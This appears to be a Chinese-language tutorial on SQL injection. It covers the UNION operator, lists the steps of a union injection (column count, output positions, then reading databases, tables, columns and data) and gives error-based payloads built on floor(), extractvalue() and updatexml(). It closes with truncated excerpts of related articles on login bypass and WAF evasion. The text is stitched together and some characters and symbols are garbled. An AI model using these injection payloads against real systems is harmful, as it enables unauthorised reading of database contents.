一、union
union操作符 用於合併兩個或多個select 語句的結果集
注意:union內部的select語句必須擁有相同數量的列。列也必須擁有相似的資料型別。同時,每條select語句中的列的順序必須相同。
預設情況,union操作符選取不同的值。如果允許重複的值,請使用union all
注意:1、只有最後乙個select子句允許有order by;
2、只有最後乙個select子句允許有limit;
3、只要union連線的幾個查詢的字段數一樣且列的資料型別轉換沒有問題,就可以查詢出結果;
4、注入點頁面有回顯;
union注入方法
1、 order by 確定列數
2、觀察頁面返回,選取可以顯示資料的位置,進行下一步的注入
3、讀庫資訊
4、讀表資訊
5、讀欄位
6、讀資料
二、利用報錯注入
報錯注入原理:構造payload讓資訊通過錯誤提示回顯出來
報錯函式
floor()
select count() from information_schema.tables group by concat((select version()), floor(rand(0)2));
group by 對rand()函式進行操作時產生錯誤
extractvalue()
extractvalue(1,concat(0x7e,(select user()),0x7e));
xpath語法錯誤產生報錯
updatexml()
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
xpath 語法錯誤產生報錯
select count() from information_schema.tables group by concat((user()),floor(rand(0)2))
sql 注入例項
用於登入的表 users name,pwd 建立乙個窗體frmlogin,其上有兩個文字框text1,text2和兩個命令按鈕cmdok,cmdexit。兩個文字框分別用於讓使用者輸入使用者名稱和密碼,兩個命令按鈕用於 登入 和 退出 1 定義ado connection物件和ado records...
SQL注入基本型別以及如何防止sql注入
注入型別 1.數字注入 select from users where name jack and password 1 or 1 1 password 2.字串注入 select from user where name jack and password sdjakfjsadklfjklsdfd...
sql注入型別 步驟以及繞waf注入
一 sql注入 sql注入就是是一種將 sql語句插入或新增到應用 使用者 的輸入 引數中的攻擊,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行。最終使使用者可控的輸入被帶入到了資料庫中進行執行。1.1存在 sql注入的地方大致有 l get l post l cookie l http頭部...